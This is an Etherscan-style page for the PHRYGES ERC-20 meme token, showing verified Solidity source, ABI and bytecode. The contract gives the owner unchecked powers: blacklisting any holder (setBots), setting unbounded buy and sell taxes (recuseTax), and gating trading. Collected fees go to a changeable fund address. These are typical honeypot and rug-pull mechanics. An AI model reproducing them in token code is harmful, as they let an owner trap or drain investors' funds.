ERC-20
Overview
Max Total Supply
4,206,900,000,000 PHRYGES
Holders
3,098
Market
Price
$0.00 @ 0.000000 ETH (-1.78%)
Onchain Market Cap
$18,384.15
Circulating Supply Market Cap
$0.00
Other Info
Token Contract (WITH 9 Decimals)
Balance
42,614.323243911 PHRYGESValue
$0.00 ( ~0 Eth) [0.0000%]Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ERC20
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-04-26 */ /** *Submitted for verification at Etherscan.io on 2023-08-03 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapRouter { function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapFactory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "you are not owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "new is 0"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is IERC20, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address private fundAddress; string private _name; string private _symbol; uint8 private _decimals; mapping(address => bool) public _isExcludeFromFee; mapping(address => bool) public _bots; uint256 private _totalSupply; IUniswapRouter public _uniswapRouter; mapping(address => bool) public isMarketPair; bool private inSwap; uint256 private constant MAX = ~uint256(0); address public _uniswapPair; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (){ _name = "PHRYGES"; _symbol = "PHRYGES"; _decimals = 9; uint256 Supply = 4206900000000; _totalSupply = Supply * 10 ** _decimals; address receiveAddr = msg.sender; _balances[receiveAddr] = _totalSupply; emit Transfer(address(0), receiveAddr, _totalSupply); fundAddress = msg.sender; _isExcludeFromFee[address(this)] = true; _isExcludeFromFee[receiveAddr] = true; _isExcludeFromFee[fundAddress] = true; IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapRouter = swapRouter; _allowances[address(this)][address(swapRouter)] = MAX; IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory()); _uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH()); isMarketPair[_uniswapPair] = true; IERC20(_uniswapRouter.WETH()).approve( address(address(_uniswapRouter)), ~uint256(0) ); _isExcludeFromFee[address(swapRouter)] = true; } function setFundAddr( address newAddr ) public onlyOwner{ fundAddress = newAddr; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function decimals() external view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); if (_allowances[sender][msg.sender] != MAX) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return true; } function _approve(address owner, address spender, uint256 amount) private { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); return true; } uint256 public _buyCount=0; uint256 private _initialBuyTax=0; uint256 private _initialSellTax=0; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=0; uint256 private _reduceSellTaxAt=0; uint256 private _preventSwapBefore=10; function recuseTax( uint256 newBuy, uint256 newSell, uint256 newReduceBuy, uint256 newReduceSell, uint256 newPreventSwapBefore ) public onlyOwner { _finalBuyTax = newBuy; _finalSellTax = newSell; _reduceBuyTaxAt = newReduceBuy; _reduceSellTaxAt = newReduceSell; _preventSwapBefore = newPreventSwapBefore; } bool public remainHolder = true; function changeRemain() public onlyOwner{ remainHolder = !remainHolder; } function setBots(address[] calldata bots, bool isBot) public onlyOwner { for (uint256 i = 0; i < bots.length; i++) { _bots[bots[i]] = isBot; } } function _transfer( address from, address to, uint256 amount ) private { uint256 balance = balanceOf(from); require(balance >= amount, "balanceNotEnough"); require(!_bots[from], "Bot"); if (inSwap){ _basicTransfer(from, to, amount); return; } bool takeFee; if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && _buyCount > _preventSwapBefore) { uint256 _numSellToken = amount; if (_numSellToken > balanceOf(address(this))){ _numSellToken = _balances[address(this)]; } if (_numSellToken > 0){ swapTokenForETH(_numSellToken); } } if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) { require(startTradeBlock > 0); takeFee = true; // buyCount if (isMarketPair[from] && to != address(_uniswapRouter) && !_isExcludeFromFee[to]) { _buyCount++; } // remainHolder if (remainHolder && amount == balance) { amount = amount - (amount / 10000); } } _transferToken(from, to, amount, takeFee); } function _transferToken( address sender, address recipient, uint256 tAmount, bool takeFee ) private { _balances[sender] = _balances[sender] - tAmount; uint256 feeAmount; if (takeFee) { uint256 taxFee; if (isMarketPair[recipient]) { taxFee = _buyCount > _reduceSellTaxAt ? _finalSellTax : _initialSellTax; } else if (isMarketPair[sender]) { taxFee = _buyCount > _reduceBuyTaxAt ? _finalBuyTax : _initialBuyTax; } uint256 swapAmount = tAmount * taxFee / 100; if (swapAmount > 0) { feeAmount += swapAmount; _balances[address(this)] = _balances[address(this)] + swapAmount; emit Transfer(sender, address(this), swapAmount); } } _balances[recipient] = _balances[recipient] + (tAmount - feeAmount); emit Transfer(sender, recipient, tAmount - feeAmount); } uint256 public startTradeBlock; function startTrade() public onlyOwner { startTradeBlock = block.number; } function swapToken(uint256 tokenAmount,address to) private lockTheSwap { address weth = _uniswapRouter.WETH(); address[] memory path = new address[](2); path[0] = address(weth); path[1] = address(this); uint256 _bal = IERC20(weth).balanceOf(address(this)); tokenAmount = tokenAmount > _bal ? _bal : tokenAmount; if (tokenAmount == 0) return; // make the swap _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of CA path, address(to), block.timestamp ); } function removeERC20(address _token) external { if(_token != address(this)){ IERC20(_token).transfer(fundAddress, IERC20(_token).balanceOf(address(this))); payable(fundAddress).transfer(address(this).balance); } } function swapTokenForETH(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapRouter.WETH(); try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ) {} catch {} uint256 _bal = address(this).balance; if (_bal > 0){ payable(fundAddress).transfer(_bal); } } function setFeeExclude(address account, bool value) public onlyOwner{ _isExcludeFromFee[account] = value; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"changeRemain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuy","type":"uint256"},{"internalType":"uint256","name":"newSell","type":"uint256"},{"internalType":"uint256","name":"newReduceBuy","type":"uint256"},{"internalType":"uint256","name":"newReduceSell","type":"uint256"},{"internalType":"uint256","name":"newPreventSwapBefore","type":"uint256"}],"name":"recuseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"remainHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots","type":"address[]"},{"internalType":"bool","name":"isBot","type":"bool"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setFeeExclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddr","type":"address"}],"name":"setFundAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600d819055600e819055600f819055601081905560118190556012819055601355600a6014556015805460ff191660011790553480156200004657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506040805180820190915260078152665048525947455360c81b6020820152600490620000b590826200053b565b506040805180820190915260078152665048525947455360c81b6020820152600590620000e390826200053b565b506006805460ff191660099081179091556503d37ec7b500906200010990600a6200071c565b62000115908262000734565b600981905533600081815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a360038054336001600160a01b0319918216178255306000818152600760209081526040808320805460ff1990811660019081179092556001600160a01b038981168652838620805483168417905597549097168452818420805490971617909555600a8054737a250d5630b4cf539739df2c5dacb4c659f2488d9516851790559181526002825283812083825282528381206000199055835163c45a015560e01b8152935192939092849263c45a015592600480820193918290030181865afa15801562000234573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025a91906200074e565b9050806001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d191906200074e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200031f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034591906200074e565b600c8054610100600160a81b0319166101006001600160a01b0393841681029190911791829055900481166000908152600b6020908152604091829020805460ff19166001179055600a5482516315ab88c960e31b8152925193169263ad5c46489260048082019392918290030181865afa158015620003c9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ef91906200074e565b600a5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af115801562000443573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000469919062000779565b50506001600160a01b03166000908152600760205260409020805460ff19166001179055506200079d9050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004c157607f821691505b602082108103620004e257634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200053657600081815260208120601f850160051c81016020861015620005115750805b601f850160051c820191505b8181101562000532578281556001016200051d565b5050505b505050565b81516001600160401b0381111562000557576200055762000496565b6200056f81620005688454620004ac565b84620004e8565b602080601f831160018114620005a757600084156200058e5750858301515b600019600386901b1c1916600185901b17855562000532565b600085815260208120601f198616915b82811015620005d857888601518255948401946001909101908401620005b7565b5085821015620005f75787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200065e57816000190482111562000642576200064262000607565b808516156200065057918102915b93841c939080029062000622565b509250929050565b600082620006775750600162000716565b81620006865750600062000716565b81600181146200069f5760028114620006aa57620006ca565b600191505062000716565b60ff841115620006be57620006be62000607565b50506001821b62000716565b5060208310610133831016604e8410600b8410161715620006ef575081810a62000716565b620006fb83836200061d565b806000190482111562000712576200071262000607565b0290505b92915050565b60006200072d60ff84168362000666565b9392505050565b808202811582820484141762000716576200071662000607565b6000602082840312156200076157600080fd5b81516001600160a01b03811681146200072d57600080fd5b6000602082840312156200078c57600080fd5b815180151581146200072d57600080fd5b6116a480620007ad6000396000f3fe6080604052600436106101a05760003560e01c80636f39cfcd116100ec578063a67755c21161008a578063bc76c05211610064578063bc76c052146104d6578063cefab2af146104eb578063dd62ed3e14610505578063f2fde38b1461054b57600080fd5b8063a67755c214610466578063a9059cbb14610486578063b481ff95146104a657600080fd5b80638da5cb5b116100c65780638da5cb5b146103f3578063936c044b1461041157806395d89b41146104315780639c0db5f31461044657600080fd5b80636f39cfcd1461038857806370a08231146103a8578063715018a6146103de57600080fd5b806336b2e027116101595780634bf28fd0116101335780634bf28fd014610300578063553193ca1461033d57806365b61b77146103535780636c5808011461037357600080fd5b806336b2e0271461027e5780633ecad271146102ae5780633f80b6d7146102de57600080fd5b806306fdde03146101ac578063095ea7b3146101d757806318160ddd1461020757806323b872dd1461022657806327b1a8e914610246578063313ce5671461025c57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101c161056b565b6040516101ce9190611277565b60405180910390f35b3480156101e357600080fd5b506101f76101f23660046112da565b6105fd565b60405190151581526020016101ce565b34801561021357600080fd5b506009545b6040519081526020016101ce565b34801561023257600080fd5b506101f7610241366004611306565b610614565b34801561025257600080fd5b50610218600d5481565b34801561026857600080fd5b5060065460405160ff90911681526020016101ce565b34801561028a57600080fd5b506101f7610299366004611347565b60076020526000908152604090205460ff1681565b3480156102ba57600080fd5b506101f76102c9366004611347565b600b6020526000908152604090205460ff1681565b3480156102ea57600080fd5b506102fe6102f936600461136b565b6106ab565b005b34801561030c57600080fd5b50600c546103259061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101ce565b34801561034957600080fd5b5061021860165481565b34801561035f57600080fd5b50600a54610325906001600160a01b031681565b34801561037f57600080fd5b506102fe6106f5565b34801561039457600080fd5b506102fe6103a3366004611347565b610725565b3480156103b457600080fd5b506102186103c3366004611347565b6001600160a01b031660009081526001602052604090205490565b3480156103ea57600080fd5b506102fe610771565b3480156103ff57600080fd5b506000546001600160a01b0316610325565b34801561041d57600080fd5b506102fe61042c3660046113b4565b6107e5565b34801561043d57600080fd5b506101c161083a565b34801561045257600080fd5b506102fe6104613660046113ed565b610849565b34801561047257600080fd5b506102fe610481366004611347565b6108ea565b34801561049257600080fd5b506101f76104a13660046112da565b610a1f565b3480156104b257600080fd5b506101f76104c1366004611347565b60086020526000908152604090205460ff1681565b3480156104e257600080fd5b506102fe610a2c565b3480156104f757600080fd5b506015546101f79060ff1681565b34801561051157600080fd5b50610218610520366004611473565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561055757600080fd5b506102fe610566366004611347565b610a6a565b60606004805461057a906114a1565b80601f01602080910402602001604051908101604052809291908181526020018280546105a6906114a1565b80156105f35780601f106105c8576101008083540402835291602001916105f3565b820191906000526020600020905b8154815290600101906020018083116105d657829003601f168201915b5050505050905090565b600061060a338484610b30565b5060015b92915050565b6000610621848484610b91565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146106a1576001600160a01b038416600090815260026020908152604080832033845290915290205461067c9083906114f1565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146106de5760405162461bcd60e51b81526004016106d590611504565b60405180910390fd5b601094909455601192909255601255601355601455565b6000546001600160a01b0316331461071f5760405162461bcd60e51b81526004016106d590611504565b43601655565b6000546001600160a01b0316331461074f5760405162461bcd60e51b81526004016106d590611504565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461079b5760405162461bcd60e51b81526004016106d590611504565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461080f5760405162461bcd60e51b81526004016106d590611504565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b60606005805461057a906114a1565b6000546001600160a01b031633146108735760405162461bcd60e51b81526004016106d590611504565b60005b828110156108e45781600860008686858181106108955761089561152f565b90506020020160208101906108aa9190611347565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806108dc81611545565b915050610876565b50505050565b6001600160a01b0381163014610a1c576003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa15801561094d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610971919061155e565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af11580156109bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e09190611577565b506003546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610a1a573d6000803e3d6000fd5b505b50565b600061060a338484610b91565b6000546001600160a01b03163314610a565760405162461bcd60e51b81526004016106d590611504565b6015805460ff19811660ff90911615179055565b6000546001600160a01b03163314610a945760405162461bcd60e51b81526004016106d590611504565b6001600160a01b038116610ad55760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016106d5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610bed5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b60448201526064016106d5565b6001600160a01b03841660009081526008602052604090205460ff1615610c3c5760405162461bcd60e51b8152602060048201526003602482015262109bdd60ea1b60448201526064016106d5565b600c5460ff1615610c5957610c52848484610e38565b5050505050565b6001600160a01b0383166000908152600b602052604081205460ff168015610c845750600c5460ff16155b8015610ca957506001600160a01b03851660009081526007602052604090205460ff16155b8015610cce57506001600160a01b03841660009081526007602052604090205460ff16155b8015610cdd5750601454600d54115b15610d1e57306000908152600160205260409020548390811115610d0d5750306000908152600160205260409020545b8015610d1c57610d1c81610eed565b505b6001600160a01b03851660009081526007602052604090205460ff16158015610d6057506001600160a01b03841660009081526007602052604090205460ff16155b8015610d6f5750600c5460ff16155b15610e2c57600060165411610d8357600080fd5b506001600160a01b0384166000908152600b602052604090205460019060ff168015610dbd5750600a546001600160a01b03858116911614155b8015610de257506001600160a01b03841660009081526007602052604090205460ff16155b15610dfd57600d8054906000610df783611545565b91905055505b60155460ff168015610e0e57508183145b15610e2c57610e1f61271084611594565b610e2990846114f1565b92505b610c5285858584611083565b6001600160a01b038316600090815260016020526040812080548391908390610e629084906114f1565b90915550506001600160a01b03831660009081526001602052604081208054849290610e8f9084906115b6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610edb91815260200190565b60405180910390a35060019392505050565b600c805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f2f57610f2f61152f565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fac91906115c9565b81600181518110610fbf57610fbf61152f565b6001600160a01b039283166020918202929092010152600a5460405163791ac94760e01b815291169063791ac947906110059085906000908690309042906004016115e6565b600060405180830381600087803b15801561101f57600080fd5b505af1925050508015611030575060015b50478015611074576003546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611072573d6000803e3d6000fd5b505b5050600c805460ff1916905550565b6001600160a01b0384166000908152600160205260409020546110a79083906114f1565b6001600160a01b03851660009081526001602052604081209190915581156111e8576001600160a01b0384166000908152600b602052604081205460ff161561110857601354600d54116110fd57600f54611101565b6011545b9050611143565b6001600160a01b0386166000908152600b602052604090205460ff161561114357601254600d541161113c57600e54611140565b6010545b90505b600060646111518387611657565b61115b9190611594565b905080156111e55761116d81846115b6565b3060009081526001602052604090205490935061118b9082906115b6565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111dc9085815260200190565b60405180910390a35b50505b6111f281846114f1565b6001600160a01b03851660009081526001602052604090205461121591906115b6565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61125f84876114f1565b60405190815260200160405180910390a35050505050565b600060208083528351808285015260005b818110156112a457858101830151858201604001528201611288565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a1c57600080fd5b600080604083850312156112ed57600080fd5b82356112f8816112c5565b946020939093013593505050565b60008060006060848603121561131b57600080fd5b8335611326816112c5565b92506020840135611336816112c5565b929592945050506040919091013590565b60006020828403121561135957600080fd5b8135611364816112c5565b9392505050565b600080600080600060a0868803121561138357600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b8015158114610a1c57600080fd5b600080604083850312156113c757600080fd5b82356113d2816112c5565b915060208301356113e2816113a6565b809150509250929050565b60008060006040848603121561140257600080fd5b833567ffffffffffffffff8082111561141a57600080fd5b818601915086601f83011261142e57600080fd5b81358181111561143d57600080fd5b8760208260051b850101111561145257600080fd5b60209283019550935050840135611468816113a6565b809150509250925092565b6000806040838503121561148657600080fd5b8235611491816112c5565b915060208301356113e2816112c5565b600181811c908216806114b557607f821691505b6020821081036114d557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561060e5761060e6114db565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611557576115576114db565b5060010190565b60006020828403121561157057600080fd5b5051919050565b60006020828403121561158957600080fd5b8151611364816113a6565b6000826115b157634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561060e5761060e6114db565b6000602082840312156115db57600080fd5b8151611364816112c5565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116365784516001600160a01b031683529383019391830191600101611611565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761060e5761060e6114db56fea2646970667358221220ba0436540b415556f0bc644e064998b23370e6a5ccfd65d8cdca58c81b7a762664736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101a05760003560e01c80636f39cfcd116100ec578063a67755c21161008a578063bc76c05211610064578063bc76c052146104d6578063cefab2af146104eb578063dd62ed3e14610505578063f2fde38b1461054b57600080fd5b8063a67755c214610466578063a9059cbb14610486578063b481ff95146104a657600080fd5b80638da5cb5b116100c65780638da5cb5b146103f3578063936c044b1461041157806395d89b41146104315780639c0db5f31461044657600080fd5b80636f39cfcd1461038857806370a08231146103a8578063715018a6146103de57600080fd5b806336b2e027116101595780634bf28fd0116101335780634bf28fd014610300578063553193ca1461033d57806365b61b77146103535780636c5808011461037357600080fd5b806336b2e0271461027e5780633ecad271146102ae5780633f80b6d7146102de57600080fd5b806306fdde03146101ac578063095ea7b3146101d757806318160ddd1461020757806323b872dd1461022657806327b1a8e914610246578063313ce5671461025c57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101c161056b565b6040516101ce9190611277565b60405180910390f35b3480156101e357600080fd5b506101f76101f23660046112da565b6105fd565b60405190151581526020016101ce565b34801561021357600080fd5b506009545b6040519081526020016101ce565b34801561023257600080fd5b506101f7610241366004611306565b610614565b34801561025257600080fd5b50610218600d5481565b34801561026857600080fd5b5060065460405160ff90911681526020016101ce565b34801561028a57600080fd5b506101f7610299366004611347565b60076020526000908152604090205460ff1681565b3480156102ba57600080fd5b506101f76102c9366004611347565b600b6020526000908152604090205460ff1681565b3480156102ea57600080fd5b506102fe6102f936600461136b565b6106ab565b005b34801561030c57600080fd5b50600c546103259061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101ce565b34801561034957600080fd5b5061021860165481565b34801561035f57600080fd5b50600a54610325906001600160a01b031681565b34801561037f57600080fd5b506102fe6106f5565b34801561039457600080fd5b506102fe6103a3366004611347565b610725565b3480156103b457600080fd5b506102186103c3366004611347565b6001600160a01b031660009081526001602052604090205490565b3480156103ea57600080fd5b506102fe610771565b3480156103ff57600080fd5b506000546001600160a01b0316610325565b34801561041d57600080fd5b506102fe61042c3660046113b4565b6107e5565b34801561043d57600080fd5b506101c161083a565b34801561045257600080fd5b506102fe6104613660046113ed565b610849565b34801561047257600080fd5b506102fe610481366004611347565b6108ea565b34801561049257600080fd5b506101f76104a13660046112da565b610a1f565b3480156104b257600080fd5b506101f76104c1366004611347565b60086020526000908152604090205460ff1681565b3480156104e257600080fd5b506102fe610a2c565b3480156104f757600080fd5b506015546101f79060ff1681565b34801561051157600080fd5b50610218610520366004611473565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561055757600080fd5b506102fe610566366004611347565b610a6a565b60606004805461057a906114a1565b80601f01602080910402602001604051908101604052809291908181526020018280546105a6906114a1565b80156105f35780601f106105c8576101008083540402835291602001916105f3565b820191906000526020600020905b8154815290600101906020018083116105d657829003601f168201915b5050505050905090565b600061060a338484610b30565b5060015b92915050565b6000610621848484610b91565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146106a1576001600160a01b038416600090815260026020908152604080832033845290915290205461067c9083906114f1565b6001600160a01b